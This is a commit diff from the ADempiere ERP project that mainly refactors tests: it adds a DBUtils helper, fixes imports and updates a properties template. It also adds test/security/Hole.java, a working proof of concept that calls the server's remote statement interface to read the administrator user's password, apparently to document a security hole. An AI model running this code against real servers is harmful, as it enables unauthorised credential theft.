Added AD_Client_ID=11 to test.properties.template

We do not need to use utils classes from other projects(JasperReports).
Created org.adempiere.test.utils package and added DBUtils whihc has oly 2 methods now used by tests.
Refactored functional tests in order to use static variables by class name not object name(changed from: someObject.STATIS_VARIABLE to: SomeClass.STATIC_VARIABLE).
This commit is contained in:
trifonnt 2007-05-23 07:38:17 +00:00
parent 8d45259f6d
commit 71bfeb38e2
8 changed files with 90 additions and 9 deletions

View File

@ -0,0 +1,42 @@
package org.adempiere.test.utils;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
public class DBUtils {
/*
static {
try {
DriverManager.registerDriver( new oracle.jdbc.driver.OracleDriver());
} catch (SQLException e) {
System.out.println("ERROR !!!");
e.printStackTrace();
}
}
*/
// logger
//private static CLogger log = CLogger.getCLogger(DBUtils.class);
public static Connection getConnection( String db, String user, String password) throws SQLException {
return DriverManager.getConnection( db, user, password);
}
public static void close( ResultSet rs) {
try {
if (rs!=null) rs.close();
} catch (SQLException e) {
;
}
}
public static void close( Statement st) {
try {
if (st!=null) st.close();
} catch (SQLException e) {
;
}
}
}

View File

@ -11,7 +11,7 @@ import org.compiere.model.MLocation;
import org.compiere.model.MBPGroup;
import org.compiere.util.CLogMgt;
import org.compiere.util.DB;
import org.compiere.utils.DBUtils;
import org.adempiere.test.utils.DBUtils;
import org.compiere.util.*;
import java.sql.*;
@ -606,7 +606,7 @@ public class MBPGroupTest extends TestCase {
m_group.setIsConfidentialInfo (false); // N
m_group.setIsDefault (false);
m_group.setPriorityBase(m_group.PRIORITYBASE_Same);
m_group.setPriorityBase(MBPGroup.PRIORITYBASE_Same);
m_group.save();
} else {
System.out.println("m_group is null");

View File

@ -11,7 +11,7 @@ import org.compiere.model.*;
import org.compiere.model.MBPartnerLocation;
import org.compiere.util.CLogMgt;
import org.compiere.util.DB;
import org.compiere.utils.DBUtils;
import org.adempiere.test.utils.DBUtils;
import org.compiere.util.*;
import java.sql.*;
@ -631,7 +631,7 @@ public class MBPartnerLocationTest extends TestCase {
m_group.setIsConfidentialInfo (false); // N
m_group.setIsDefault (false);
m_group.setPriorityBase(m_group.PRIORITYBASE_Same);
m_group.setPriorityBase(MBPGroup.PRIORITYBASE_Same);
m_group.save();
} else {
System.out.println("m_group is null");

View File

@ -10,7 +10,7 @@ import junit.framework.TestCase;
import org.compiere.model.*;
import org.compiere.util.CLogMgt;
import org.compiere.util.DB;
import org.compiere.utils.DBUtils;
import org.adempiere.test.utils.DBUtils;
import org.compiere.util.*;
import java.sql.*;
@ -627,7 +627,7 @@ public class MBPartnerTest extends TestCase {
m_group.setIsConfidentialInfo (false); // N
m_group.setIsDefault (false);
m_group.setPriorityBase(m_group.PRIORITYBASE_Same);
m_group.setPriorityBase(MBPGroup.PRIORITYBASE_Same);
m_group.save();

View File

@ -10,7 +10,7 @@ import junit.framework.TestCase;
import org.compiere.model.*;
import org.compiere.util.CLogMgt;
import org.compiere.util.DB;
import org.compiere.utils.DBUtils;
import org.adempiere.test.utils.DBUtils;
import org.compiere.util.*;
import java.sql.*;
@ -625,7 +625,7 @@ public class MUserTest extends TestCase {
m_group.setIsConfidentialInfo (false); // N
m_group.setIsDefault (false);
m_group.setPriorityBase(m_group.PRIORITYBASE_Same);
m_group.setPriorityBase(MBPGroup.PRIORITYBASE_Same);
m_group.save();

View File

@ -12,7 +12,6 @@ import org.compiere.model.MProduct;
import org.compiere.model.MTable;
import org.compiere.model.X_AD_Reference;
import org.compiere.util.CLogMgt;
import org.compiere.util.DB;
import org.compiere.util.Env;
import org.compiere.util.Ini;

View File

@ -0,0 +1,39 @@
package test.security;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.sql.RowSet;
import org.compiere.interfaces.Server;
import org.compiere.interfaces.ServerHome;
import org.compiere.util.CStatementVO;
public class Hole {
public static String SERVER = "";
public static int PORT = 1099;
public static void main(String[] args) {
try {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "org.jnp.interfaces.NamingContextFactory");
env.put(Context.PROVIDER_URL, "jnp://" + SERVER + ":" + PORT);
env.put(Context.URL_PKG_PREFIXES, "org.jboss.naming.client");
Context ctx = new InitialContext(env);
ServerHome serverHome = (ServerHome)ctx.lookup("adempiere/Server");
Server server = serverHome.create();
CStatementVO cs = new CStatementVO(1, 1, "SELECT password FROM AD_USER WHERE AD_USER_ID=0;");
RowSet s = server.stmt_getRowSet(cs);
s.next();
System.out.println(s.getString(1));
} catch (Exception e) {
e.printStackTrace();
}
}
}

View File

@ -1,3 +1,4 @@
AdempiereProperties=C:/Adempiere/Adempiere.properties
isClient=Y
AD_Client_ID=11
AD_User_ID=0